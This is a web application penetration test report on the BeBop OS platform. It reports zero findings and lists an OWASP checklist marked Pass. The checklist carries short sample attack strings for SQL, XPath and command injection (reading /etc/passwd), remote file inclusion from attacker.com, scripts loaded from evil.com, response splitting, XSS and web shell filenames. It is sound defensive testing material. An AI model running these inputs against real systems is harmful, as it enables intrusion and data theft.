

Application Penetration test Thursday, May 12, 2022

BeBop OS Platform

Prepared by Florjan Llapi

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Disclaimer

This report is strictly confidential and intended for internal, confidential use by the client. The recipient is obligated to ensure the highly confidential contents are kept secret. The recipient assumes responsibility for further distribution of this document.

In this particular project, a time box approach was used to define the consultant effort. This means that the Author allotted a prearranged amount of time to identify and document vulnerabilities. Because of this, there is no guarantee that all possible vulnerabilities and risks are discovered. Furthermore, the security check applies to a snapshot of the current state at the examination time.

Introduction

The aim of this web penetration test is to help the administrators of the company to secure the website. Although this report contains technical terms, it has been written so that a non-technical content, to be found in the appendices, is given along the test report for the administrator and security consultant to review them and possible to reproduce the tests. Should the reader meet difficulties at understanding the penetration test report going directly to "Recommendations and Conclusions "section will give him the executive information. For future help, I remain open to answer any of your questions.

Approach

The web penetration test was conducted as a "Grey-Box", implying that the security tested was given prior information about the target applications sample accounts

Admin 1: llapi.f+bbp+org1+admin@gmail.com

User 1: <a>llapi.f+bbp+org1@gmail.com

Admin 2: llapi.f+bbp+org2+admin@gmail.com

User 2: llapi.f+bbp+org2@gmail.com

and domain name <u>https://mcp-oregon.beboptechnology.com/</u> This was done to simulate closely as possible the viewpoint of a completely external hacker. The website was tried to penetrate based on the client needs especially focused on transections and events that are happening in the application front end and back end. I conducted the tests against industry best practices like Open Web Application Security Project (OWASP) and the test was generated based on my vast experience in the field of Web Application Security. This approach can be summarized in the following steps:

- Perform broad scans on source code to identify discouraged coding practices, and points that would increase compilation and program execution overhead
- Perform targeted code injection at identified break points in code to simulate an attack
- Identify hard coded cryptographic hashes, usernames and passwords that would act as an easy give away to an attacker
- Obtain database connection configurations, informative data such as hard coded IP addresses and port numbers
- Obtain developer comments that could give out too much information concerning the source code and algorithms to an attacker
- Provide threat ranking of the identified risks based on their level of criticality i.e. (low, medium and high)
- Develop long-term recommendations to enhance security

Tools

Commercial accunetix, Netsparker, Vega	Finding different vulnerabilities on the website
Burpsuite Proxy Proffesional	To sniffers the parameters of application and URL
SQLmap	For trying to find data from database of the parameters are vulnerable.
Data Tampering and replay plug-ins	Used for reply of data which in our case I to replay transections by modifying parameters (elements).
NMAP	Infrastructure enumeration
Manual testing's	Checking all vulnerabilities of server by hand

Risk Classification

HIGH	The high-risk level indicates maximum risk associated with a specific vulnerability instance. Such vulnerability may enable an attacker to successfully exploit the underlying application and its data to modify application behavior to become other than it is recommended to be handled with outmost priority.
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	The medium risk level indicates considerable risk associated with a
	specific vulnerability instance. Such vulnerability may enable an
	attached to exploit the underlying application and its data to a
MEDIUM	particular level so that the hacker can gain low level information
	about application. Such information can be used by a hacker to craft
	more specific attacks based on information collected. The
	vulnerability marked with "Medium" should be mitigated at the
	earliest or soon after "High" risk vulnerabilities are mitigated.
	The low risk level indicates lowest risk associated with a specific
	vulnerability instance. Such vulnerability may enable an attached to
LOW	gain important information to the underlying application and its data
	to an informative level. Such vulnerability should be mitigated soon
	after the high and medium risk vulnerabilities are mitigated
	The nothing risk level doesn't associate with a specific vulnerability
NOTHING	instance. It shows that I did a test for a specific vulnerability but it
	didn't any. As such web application it is risk free of that vulnerability.

HIGH	Medium	LOW
0	0	0

Executive summary

Based on the summary table above, I identified 0 high, 0 medium and 0 low level findings. After retesting the patches of security it is stated that all are fixed only the print screens are updated to show that are fixed. In the Appendix you will find all the tests passed by the application.

Penetration Scope

Prepared By	Florjan Llapi
Date	10.05.2022
Domain name	https://mcp-oregon.beboptechnology.com/
Classification	Confidential
	Angular

Appendix

OWASP Checklist and results

Information Gathering	Test Name	Description	Tools	Result 🗸
OTG-INFO-001	Conduct Search Engine Discovery and Reconnaissance for Information Leakage	Use a search engine to search for Network diagrams and Configurations, Credentials, Error message content.	Google Hacking, Sitedigger, Shodan, FOCA, Punkspider	Pass
OTG-INFO-002	Fingerprint Web Server	Find the version and type of a running web server to determine known vulnerabilities and the appropriate exploits. Using "HTTP header field ordering" and "Malformed requests test".	Httprint, Httprecon, Desenmascarame	Pass
OTG-INFO-003	Review Webserver Metafiles for Information Leakage	Analyze robots.txt and identify <meta/> Tags from website.	Browser, curl, wget	Pass
OTG-INFO-004	Enumerate Applications on Webserver	Find applications hosted in the webserver (Virtual hosts/Subdomain), non-standard ports, DNS zone transfers	Webhosting.info, dnsrecon, Nmap, fierce, Recon-ng, Intrigue	Pass
OTG-INFO-005	Review Webpage Comments and Metadata for Information Leakage	Find sensitive information from webpage comments and Metadata on source code.	Browser, curl, wget	Pass
OTG-INFO-006	Identify application entry points	Identify from hidden fields, parameters, methods HTTP header analysis	Burp proxy, ZAP, Tamper data	Pass
OTG-INFO-007	Map execution paths through application	Map the target application and understand the principal workflows.	Burp proxy, ZAP	Pass
OTG-INFO-008	Fingerprint Web Application Framework	Find the type of web application framework/CMS from HTTP headers, Cookies, Source code, Specific files and folders.	Whatweb, BlindElephant, Wappalyzer	Pass
OTG-INFO-009	Fingerprint Web Application	Identify the web application and version to determine known vulnerabilities and the appropriate exploits.	Whatweb, BlindElephant, Wappalyzer, CMSmap	Pass
OTG-INFO-010	Map Application Architecture	Identify application architecture including Web language, WAF, Reverse proxy, Application Server, Backend Database	Browser, curl, wget	Pass

Configuration and Deploy Management Testing	Test Name	Description	Tools	Result
OTG-CONFIG-001	Test Network/Infrastructure Configuration	Understand the infrastructure elements interactions, config management for software, backend DB server, WebDAV, FTP in order to identify known vulnerabilities.	Nessus	Pass
OTG-CONFIG-002	Test Application Platform Configuration	Identify default installation file/directory, Handle Server errors (40*,50*), Minimal Privilege, Software logging.	Browser, Nikto	Pass
OTG-CONFIG-003	Test File Extensions Handling for Sensitive Information	,Find important file, information (.asa , .inc , .sq,zip (tar, pdf, txt, etc	Browser, Nikto	Pass
OTG-CONFIG-004	Backup and Unreferenced Files for Sensitive Information	Check JS source code, comments, cache file, backup file (.old, .bak, .inc, .src) and guessing of filename	Nessus, Nikto, Wikto	Pass
OTG-CONFIG-005	Enumerate Infrastructure and Application Admin Interfaces	Directory and file enumeration, comments and links in source (/admin, /administrator, /backoffice, /backend, etc), alternative server port (Tomcat/8080)	Burp Proxy, dirb, Dirbuster, fuzzdb, Tilde Scanner	Pass
OTG-CONFIG-006	Test HTTP Methods	Identify HTTP allowed methods on Web server with OPTIONS. Arbitrary HTTP Methods, HEAD access control bypass and XST	netcat, curl	Pass
OTG-CONFIG-007	Test HTTP Strict Transport Security	Identify HSTS header on Web server through HTTP response header. curl -s -D- https://domain.com/ grep Strict	Burp Proxy, ZAP, curl	Pass
OTG-CONFIG-008	Test RIA cross domain policy	Analyse the permissions allowed from the policy files (crossdomain.xml/clientaccesspolicy.xml) and allow-access-from.	Burp Proxy, ZAP, Nikto	Pass
Identity Management Testing	Test Name	Description	Tools	Result 🗸
OTG-IDENT-001	Test Role Definitions	Validate the system roles defined within the application by creating permission matrix.	Burp Proxy, ZAP	Pass
OTG-IDENT-002	Test User Registration Process	Verify that the identity requirements for user registration are aligned	Burp Proxy, ZAP	Pass
OTG-IDENT-003	Test Account Provisioning Process	Determine which roles are able to provision users and what sort of	Burp Proxy, ZAP	Pass
OTG-IDENT-004	Testing for Account Enumeration and Guessable User Account	Generic login error statement check, return codes/parameter values, enumerate all possible valid userids (Login system, Forgot password)	Browser, Burp Proxy, ZAP	Pass
OTG-IDENT-005	Testing for Weak or unenforced username policy	User account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed.	Browser, Burp Proxy, ZAP	Pass
OTG-IDENT-006	Test Permissions of Guest/Training Accounts	Guest and Training accounts are useful ways to acquaint potential users with system functionality prior to them completing the authorisation process required for access.Evaluate consistency between access policy and guest/training account access permissions.	Burp Proxy, ZAP	N/A
OTG-IDENT-007	Test Account Suspension/Resumption Process	Verify the identity requirements for user registration align with business/security requirements. Validate the registration process.	Burp Proxy, ZAP	N/A

Authentication Testing	Test Name	Description	Tools	Result
OTG-AUTHN-001	Testing for Credentials Transported over an Encrypted Channel	Check referrer whether its HTTP or HTTPs. Sending data through HTTP and HTTPS.	Burp Proxy, ZAP	Pass
OTG-AUTHN-002	Testing for default credentials	Testing for default credentials of common applications, Testing for default password of new accounts.	Burp Proxy, ZAP, Hydra	Pass
OTG-AUTHN-003	Testing for Weak lock out mechanism	Evaluate the account lockout mechanism's ability to mitigate brute force password guessing. Evaluate the unlock mechanism's resistance to unauthorized account unlocking.	Browser	Pass
OTG-AUTHN-004	Testing for bypassing authentication schema	Force browsing (/admin/main.php, /page.asp?authenticated=yes), Parameter Modification, Session ID prediction, SQL Injection	Burp Proxy, ZAP	Pass
OTG-AUTHN-005	Test remember password functionality	Look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hashed. Autocompleted=off?	Burp Proxy, ZAP	Pass
OTG-AUTHN-006	Testing for Browser cache weakness	Check browser history issue by clicking "Back" button after logging out. Check browser cache issue from HTTP response headers (Cache- Control: no-cache)	Burp Proxy, ZAP, Firefox add-on CacheViewer2	Pass
OTG-AUTHN-007	Testing for Weak password policy	Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.	Burp Proxy, ZAP, Hydra	Pass
OTG-AUTHN-008	Testing for Weak security question/answer	Testing for weak pre-generated questions, Testing for weak self-generated question, Testing for brute- forcible answers (Unlimited attempts?)	Browser	Pass
OTG-AUTHN-009	Testing for weak password change or reset functionalities	Test password reset (Display old password in plain- text?, Send via email?, Random token on confirmation email ?), Test password change (Need old password?), CSRF vulnerability ?	Browser, Burp Proxy, ZAP	Pass
OTG-AUTHN-010	Testing for Weaker authentication in alternative channel	Understand the primary mechanism and Identify other channels (Mobile App, Call center, SSO)	Browser	Pass

Authorization Testing	Test Name	Description	Tools	Result 🗸
OTG-AUTHZ-001	Testing Directory traversal/file include	dot-dot-slash attack (/), Directory traversal, Local File inclusion/Remote File Inclusion.	Burp Proxy, ZAP, Wfuzz	Pass
OTG-AUTHZ-002	Testing for bypassing authorization schema	Access a resource without authentication?, Bypass ACL, Force browsing (/admin/adduser.jsp)	Burp Proxy (Autorize), ZAP	Pass
OTG-AUTHZ-003	Testing for Privilege Escalation	Testing for role/privilege manipulate the values of hidden variables. Change some param groupid=2 to groupid=1	Burp Proxy (Autorize), ZAP	Pass
OTG-AUTHZ-004	Testing for Insecure Direct Object References	Force changing parameter value (?invoice=123 -> ?invoice=456)	Burp Proxy (Autorize), ZAP	Pass

Session Management Testing	Test Name	Description	Tools	Result 💡
OTG-SESS-001	Testing for Bypassing Session Management Schema	SessionID analysis prediction, unencrypted cookie transport, brute-force.	Burp Proxy, ForceSSL, ZAP, CookieDigger	Pass
OTG-SESS-002	Testing for Cookies attributes	Check HTTPOnly and Secure flag, expiration, inspect for sensitive data.	Burp Proxy, ZAP	Pass
OTG-SESS-003	Testing for Session Fixation	The application doesn't renew the cookie after a successfully user authentication.	Burp Proxy, ZAP	Pass
OTG-SESS-004	Testing for Exposed Session Variables	Encryption & Reuse of session Tokens vulnerabilities, Send sessionID with GET method ?	Burp Proxy, ZAP	Pass
OTG-SESS-005	Testing for Cross Site Request Forgery	URL analysis, Direct access to functions without any token.	Burp Proxy (csrf_token_detec t), burpy, ZAP	Pass
OTG-SESS-006	Testing for logout functionality	Check reuse session after logout both server-side and SSO.	Burp Proxy, ZAP	Pass
OTG-SESS-007	Test Session Timeout	Check session timeout, after the timeout has passed, all session tokens should be destroyed or be unusable.	Burp Proxy, ZAP	Pass
OTG-SESS-008	Testing for Session puzzling	The application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.	Burp Proxy, ZAP	Pass

Data Validation Testing	Test Name	Description	Tools	Result
OTG-INPVAL-001	Testing for Reflected Cross Site Scripting	Check for input validation, Replace the vector used to identify XSS, XSS with HTTP Parameter Pollution.	Burp Proxy, ZAP,	Pass
OTG-INPVAL-002	Testing for Stored Cross Site Scripting	Check input forms/Upload forms and analyze HTML codes, Leverage XSS with BeEF	Burp Proxy, ZAP	Pass
OTG-INPVAL-003	Testing for HTTP Verb Tampering	Craft custom HTTP requests to test the other methods to bypass URL authentication and authorization.	netcat	Pass
OTG-INPVAL-004	Testing for HTTP Parameter pollution	Identify any form or action that allows user- supplied input to bypass Input validation and filters using HPP	Burp Proxy, ZAP,	Pass
OTG-INPVAL-005	Testing for SQL Injection	Union, Boolean, Error based, Out-of-band, Time delay.	Burp Proxy (SQLipy), Seclists (FuzzDB)	Pass
OTG-INPVAL-010	Testing for XPath Injection	Check for XML error enumeration by supplying a single quote (') Username: ' or '1' = '1 Password: ' or '1' = '1	Burp Proxy, ZAP	Pass
OTG-INPVAL-011	IMAP/SMTP Injection	 Identifying vulnerable parameters with special characters (i.e.: ', ", @, #, !,) Understanding the data flow and deployment structure of the client IMAP/SMTP command injection (Header, Body, Footer) 	Burp Proxy, ZAP	N/A
OTG-INPVAL-012	Testing for Code Injection	Enter OS commands in the input field. ?arg=1; system('id')	Burp Proxy, ZAP, Liffy, Panoptic	Pass
	Testing for Local File Inclusion	LFI with dot-dot-slash (//), PHP Wrapper (php://filter/convert.base64-encode/resource)	Burp Proxy, fimap, Liffy	Pass
	Testing for Remote File Inclusion	RFI from malicious URL ?page.php?file=http://attacker.com/malicious_pag e	Burp Proxy, fimap, Liffy	Pass
OTG-INPVAL-013	Testing for Command Injection	Understand the application platform, OS, folder structure, relative path and execute OS commands on a Web server. %3Bcat%20/etc/passwd test.pdf+ +Dir C:\	Burp Proxy, ZAP, Commix	Pass
OTG-INPVAL-015	Testing for incubated vulnerabilities	File Upload, Stored XSS , SQL/XPATH Injection, Misconfigured servers (Tomcat, Plesk, Cpanel)	Burp Proxy, BeEF, MSF	Pass
OTG-INPVAL-016	Testing for HTTP Splitting/Smuggling	param=foobar%0d%0aContent- Length:%200%0d%0a%0d%0aHTTP/1.1%2 0200%20OK%0d%0aContent- Type:%20text/html%0d%0aContent- Length:%2035%0d%0a%0d%0a <html>Sorr y,%20System%20Down</html>	Burp Proxy, ZAP, netcat	Pass

Error Handling	Test Name	- Description -	Tools	Result
OTG-ERR-001	Analysis of Error Codes	Locate error codes generated from applications or web servers. Collect sensitive information from that errors (Web Server, Application Server, Database)	Burp Proxy, ZAP	Pass
OTG-ERR-002	Analysis of Stack Traces	 Invalid Input / Empty inputs Input that contains non alphanumeric characters or query syn tax Access to internal pages without authentication Bypassing application flow 	Burp Proxy, ZAP	Pass

Cryptography -	Test Name -	Description -	Tools 🔻	Result 💌
OTG-CRYPST-001	Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection	Identify SSL service, Idectify weak ciphers/protocols (ie. RC4, BEAST, CRIME, POODLE)	testssl.sh, SSL Breacher	Pass
OTG-CRYPST-002	Testing for Padding Oracle	Compare the responses in three different states: • Cipher text gets decrypted, resulting data is correct. • Cipher text gets decrypted, resulting data is garbled and causes some exception or error handling in the application logic. • Cipher text decryption fails due to padding errors.	PadBuster, Poracle, python- paddingoracle, POET	Pass
OTG-CRYPST-003	Testing for Sensitive information sent via unencrypted channels	Check sensitive data during the transmission: • Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies) • Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data)	Burp Proxy, ZAP, Curl	Pass

Business logic Testing	Test Name	Description	Tools	Result 🗸
OTG-BUSLOGIC-001	Test Business Logic Data Validation	 Looking for data entry points or hand off points between systems or software. Once found try to insert logically invalid data into the application/system. 	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-002	Test Ability to Forge Requests	 Looking for guessable, predictable or hidden functionality of fields. Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal busineess logic workflow. 	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-003	Test Integrity Checks	(components i.e. For example, input fields, databases or logs) that move, store or handle data/information. • For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-004	Test for Process Timing	 Looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time. Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing. 	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-005	Test Number of Times a Function Can be Used Limits	 Looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow. For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. 	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-006	Testing for the Circumvention of Work Flows	 Looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow. For each method develop a misuse case and try to circumvent or perform an action that is "not acceptable" per the the business logic workflow. 	Burp Proxy, ZAP	Pass

OTG-BUSLOGIC-007	Test Defenses Against Application Mis-use	Measures that might indicate the application has in-built self- defense: • Changed responses • Blocked requests • Actions that log a user out or lock their account	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-008	Test Upload of Unexpected File Types	 Review the project documentation and perform some exploratory testing looking for file types that should be "unsupported" by the application/system. Try to upload these "unsupported" files an verify that it are properly rejected. If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. PS. file.phtml, shell.phPWND, SHELL~1.PHP 	Burp Proxy, ZAP	Pass
OTG-BUSLOGIC-009	Test Upload of Malicious Files	 Develop or acquire a known "malicious" file. Try to upload the malicious file to the application/system and verify that it is correctly rejected. If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated. 	Burp Proxy, ZAP	Pass

Client Side Testing	Test Name	Description	Tools	Result
OTG-CLIENT-001	Testing for DOM based Cross Site Scriptin	Test for the user inputs obtained from client-side JavaScript Objects	Burp Proxy, DOMinator	Pass
OTG-CLIENT-002	Testing for JavaScript Execution	Inject JavaScript code: www.victim.com/?javascript:alert(1)	Burp Proxy, ZAP	Pass
OTG-CLIENT-003	Testing for HTML Injection	Send malicious HTML code: ?user= <img%20src='aaa'%20onerror=alert(1)></img%20src='aaa'%20onerror=alert(1)>	Burp Proxy, ZAP	Pass
OTG-CLIENT-004	Testing for Client Side URL Redirect	Modify untrusted URL input to a malicious site: (Open Redirect) ?redirect=www.fake-target.site	Burp Proxy, ZAP	Pass
OTG-CLIENT-005	Testing for CSS Injection	Inject code in the CSS context : • www.victim.com/#red;-o-link:'javascript:alert(1)';- o-link-source:current; (Opera [8,12]) • www.victim.com/#red;- :expression(alert(URL=1)); (IE 7/8)	Burp Proxy, ZAP	Pass
OTG-CLIENT-006	Testing for Client Side Resource Manipulat	External JavaScript could be easily injected in the trusted web site www.victim.com/#http://evil.com/js.js	Burp Proxy, ZAP	Pass
OTG-CLIENT-007	Test Cross Origin Resource Sharing	Check the HTTP headers in order to understand how CORS is used (Origin Header)	Burp Proxy, ZAP	Pass
OTG-CLIENT-008	Testing for Cross Site Flashing	Decompile, Undefined variables, Unsafe methods, Include malicious SWF (http://victim/file.swf?lang=http://evil	FlashBang, Flare, Flasm, SWFScan, SWF Intruder	Pass
OTG-CLIENT-009	Testing for Clickjacking	Discover if a website is vulnerable by loading into an iframe, create simple web page that includes a frame containing the target.	Burp Proxy, ClickjackingTool	Pass
OTG-CLIENT-010	Testing WebSockets	Identify that the application is using WebSockets by inspecting ws:// or wss:// URI scheme.Use Google Chrome's Developer Tools to view the Network WebSocket communication. Check Origin, Confidentiality and Integrity, Authentication, Authorization, Input Sanitization	Burp Proxy, Chrome, ZAP, WebSocket Client	Pass
OTG-CLIENT-011	Test Web Messaging	Analyse JavaScript code looking for how Web Messaging is implemented. How the website is restricting messages from untrusted domain and how the data is handled even for trusted domains	Burp Proxy, ZAP	Pass
OTG-CLIENT-012	Test Local Storage	Determine whether the website is storing sensitive data in the storage. XSS in localstorage http://server/StoragePOC.html# <img src="x<br"/> onerror=alert(1)>	Chrome, Firebug, Burp Proxy, ZAP	Pass